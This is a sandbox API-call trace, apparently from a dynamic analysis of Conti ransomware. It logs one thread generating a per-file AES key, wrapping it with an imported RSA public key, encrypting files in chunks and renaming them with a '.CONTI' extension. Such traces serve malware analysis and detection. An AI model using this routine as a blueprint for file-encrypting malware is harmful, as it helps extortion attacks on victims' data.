	[0152.458] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0152.458] WriteFile (hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToWrite=0x454d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0) 

Thread:
	id = 166
	os_tid = 0x11a4

	[0093.095] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xe470000
	[0093.095] CryptAcquireContextA (in: phProv=0x4e7fc58, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4e7fc58*=0x176c1b0) returned 1
	[0093.097] CryptImportKey (in: hProv=0x176c1b0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x4e7fc54 | out: phKey=0x4e7fc54*=0x175dcb0) returned 1
	[0093.097] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0093.557] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x17c1300 | out: phKey=0x17c1300*=0x175e470) returned 1
	[0093.557] CryptExportKey (in: hKey=0x175e470, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c1304, pdwDataLen=0x4e7fc24 | out: pbData=0x17c1304*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0093.563] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0093.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.563] GetLastError () returned 0x0
	[0093.563] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=60816) returned 1
	[0093.563] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xed90
	[0093.563] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.564] SetEndOfFile (hFile=0x33c) returned 1
	[0093.564] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.564] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.564] WriteFile (in: hFile=0x33c, lpBuffer=0x17c1304*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x17c1304*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0093.566] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.566] ReadFile (in: hFile=0x33c, lpBuffer=0xe470000, nNumberOfBytesToRead=0xed90, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xed90, lpOverlapped=0x0) returned 1
	[0093.568] CryptEncrypt (in: hKey=0x175e470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xed90, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xeda0) returned 1
	[0093.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.568] WriteFile (in: hFile=0x33c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xeda0, lpOverlapped=0x0) returned 1
	[0093.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.568] WriteFile (in: hFile=0x33c, lpBuffer=0x17c12f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x17c12f8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0093.568] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.568] CloseHandle (hObject=0x33c) returned 1
	[0093.570] GetProcessHeap () returned 0x1720000
	[0093.570] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.574] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml"
	[0093.575] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.CONTI"
	[0093.575] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.conti")) returned 1
	[0093.575] GetProcessHeap () returned 0x1720000
	[0093.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.575] CryptDestroyKey (hKey=0x175e470) returned 1
	[0093.575] GetProcessHeap () returned 0x1720000
	[0093.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfab8 | out: hHeap=0x1720000) returned 1
	[0093.575] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0094.236] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x175e570) returned 1
	[0094.236] CryptExportKey (in: hKey=0x175e570, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x4e7fc24 | out: pbData=0x17d4fa4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0094.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80
	[0094.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.243] GetLastError () returned 0x0
	[0094.243] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=1150) returned 1
	[0094.243] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x47e
	[0094.243] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.243] SetEndOfFile (hFile=0x34c) returned 1
	[0094.243] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.243] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.243] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0094.245] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.245] ReadFile (in: hFile=0x34c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x47e, lpOverlapped=0x0) returned 1
	[0094.245] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x47e, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x480) returned 1
	[0094.245] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.245] WriteFile (in: hFile=0x34c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x480, lpOverlapped=0x0) returned 1
	[0094.245] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.245] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0094.246] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.246] CloseHandle (hObject=0x34c) returned 1
	[0094.246] GetProcessHeap () returned 0x1720000
	[0094.246] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.247] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico"
	[0094.247] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.CONTI"
	[0094.247] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.conti")) returned 1
	[0094.248] GetProcessHeap () returned 0x1720000
	[0094.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.248] CryptDestroyKey (hKey=0x175e570) returned 1
	[0094.248] GetProcessHeap () returned 0x1720000
	[0094.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0c60 | out: hHeap=0x1720000) returned 1
	[0094.248] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0094.989] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x17c85f0) returned 1
	[0094.989] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x4e7fc24 | out: pbData=0x17c534c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0094.990] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80
	[0094.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.990] GetLastError () returned 0x0
	[0094.990] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=2141433) returned 1
	[0094.990] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x20acf9
	[0094.990] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.991] SetEndOfFile (hFile=0x350) returned 1
	[0094.991] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.991] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.991] WriteFile (in: hFile=0x350, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0095.040] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.040] ReadFile (in: hFile=0x350, lpBuffer=0xe470000, nNumberOfBytesToRead=0x20acf9, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x20acf9, lpOverlapped=0x0) returned 1
	[0096.283] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x20acf9, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x20ad00) returned 1
	[0096.286] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.286] WriteFile (in: hFile=0x350, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x20ad00, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x20ad00, lpOverlapped=0x0) returned 1
	[0097.307] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.308] WriteFile (in: hFile=0x350, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0097.308] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.308] CloseHandle (hObject=0x350) returned 1
	[0098.523] GetProcessHeap () returned 0x1720000
	[0098.523] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.524] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu"
	[0098.524] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.CONTI") returned="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.CONTI"
	[0098.524] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.CONTI" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.conti")) returned 1
	[0098.525] GetProcessHeap () returned 0x1720000
	[0098.525] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.525] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0098.525] GetProcessHeap () returned 0x1720000
	[0098.525] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740730 | out: hHeap=0x1720000) returned 1
	[0098.525] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0098.526] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x17e96b8 | out: phKey=0x17e96b8*=0x17c8530) returned 1
	[0098.526] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e96bc, pdwDataLen=0x4e7fc24 | out: pbData=0x17e96bc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0098.527] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml")) returned 0x20
	[0098.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0098.687] GetLastError () returned 0x0
	[0098.687] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=5944055) returned 1
	[0098.687] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5ab2f7
	[0098.687] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.687] SetEndOfFile (hFile=0x3b0) returned 1
	[0098.687] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.687] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.687] WriteFile (in: hFile=0x3b0, lpBuffer=0x17e96bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x17e96bc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0098.689] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.689] ReadFile (in: hFile=0x3b0, lpBuffer=0xe470000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x500000, lpOverlapped=0x0) returned 1
	[0100.085] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x500000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x500000) returned 1
	[0100.091] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.091] WriteFile (in: hFile=0x3b0, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x500000, lpOverlapped=0x0) returned 1
	[0100.806] ReadFile (in: hFile=0x3b0, lpBuffer=0xe470000, nNumberOfBytesToRead=0xab2f7, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xab2f7, lpOverlapped=0x0) returned 1
	[0101.240] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xab2f7, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xab300) returned 1
	[0101.241] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.241] WriteFile (in: hFile=0x3b0, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xab300, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xab300, lpOverlapped=0x0) returned 1
	[0101.243] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.243] WriteFile (in: hFile=0x3b0, lpBuffer=0x17e96b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x17e96b0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0101.243] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.243] CloseHandle (hObject=0x3b0) returned 1
	[0104.122] GetProcessHeap () returned 0x1720000
	[0104.122] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6517060
	[0104.122] lstrcpyW (in: lpString1=0x6517060, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml"
	[0104.122] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.CONTI"
	[0104.122] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml.conti")) returned 1
	[0104.211] GetProcessHeap () returned 0x1720000
	[0104.211] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6517060 | out: hHeap=0x1720000) returned 1
	[0104.212] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0104.212] GetProcessHeap () returned 0x1720000
	[0104.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c01d0 | out: hHeap=0x1720000) returned 1
	[0104.212] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
